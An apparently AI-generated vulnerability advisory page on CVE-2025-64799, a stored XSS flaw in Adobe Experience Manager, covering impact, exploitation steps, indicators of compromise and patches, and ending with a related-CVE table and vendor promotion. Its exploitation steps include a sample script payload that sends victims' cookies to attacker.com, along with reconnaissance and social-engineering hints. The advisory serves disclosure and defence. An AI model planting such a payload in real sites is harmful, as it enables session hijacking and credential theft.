CVE-2025-64799
Adobe Experience Manager vulnerability analysis and mitigation

Overview

CVE-2025-64799 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. When a victim browses to a page containing the affected field, the injected JavaScript executes in their browser. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). It is a stored XSS variant, meaning attacker-supplied input is persisted server-side and later rendered unsanitized to other users' browsers. Exploitation requires the attacker to be authenticated with low privileges and requires user interaction (a victim visiting the affected page), with the scope changed — indicating impact can extend beyond the vulnerable component. No public proof-of-concept code has been identified at this time (Adobe Advisory, Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, resulting in low confidentiality and low integrity impact with no direct availability impact. Potential consequences include session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. Because AEM is commonly used as an enterprise content management platform, exploitation could affect a broad user base including administrators (Adobe Advisory).

Exploitation steps

  1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
  2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
  3. Identify vulnerable form fields: Navigate to AEM authoring interfaces or forms that accept and store user-supplied input without adequate sanitization.
  4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
  5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
  6. Harvest results: Collect stolen session tokens, credentials, or perform unauthorized actions via the victim's authenticated session (Adobe Advisory).

Indicators of compromise

  • Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:).
  • Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing AEM-authored pages; DNS queries to attacker-controlled domains from internal workstations.
  • File System / Repository: Unexpected script content stored within AEM's JCR (Java Content Repository) nodes, discoverable via CRXDE Lite or repository queries for nodes containing <script> or event handler attributes.
  • Process/Browser: Unusual JavaScript execution errors or network requests logged in browser developer tools when accessing specific AEM pages.

Mitigation and workarounds

Adobe has released patches addressing CVE-2025-64799 in AEM 6.5.24.0 (on-premises) and AEM as a Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround prior to patching, restrict access to AEM authoring interfaces to trusted networks and enforce the principle of least privilege for AEM user accounts. Content Security Policy (CSP) headers can also help reduce the impact of XSS exploitation (Adobe Advisory).

Community reactions

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, grouping CVE-2025-64799 among the December 2025 Adobe patch batch. Tenable released a Nessus detection plugin (ID 278346) for this vulnerability. No notable individual researcher commentary or significant social media discussion has been identified beyond standard vulnerability tracking and aggregation (CIS Advisory, Tenable).

Additional resources


SourceThis report was generated using AI

Related Adobe Experience Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48359CRITICAL9.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48310HIGH8.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48355MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48263MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48262MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management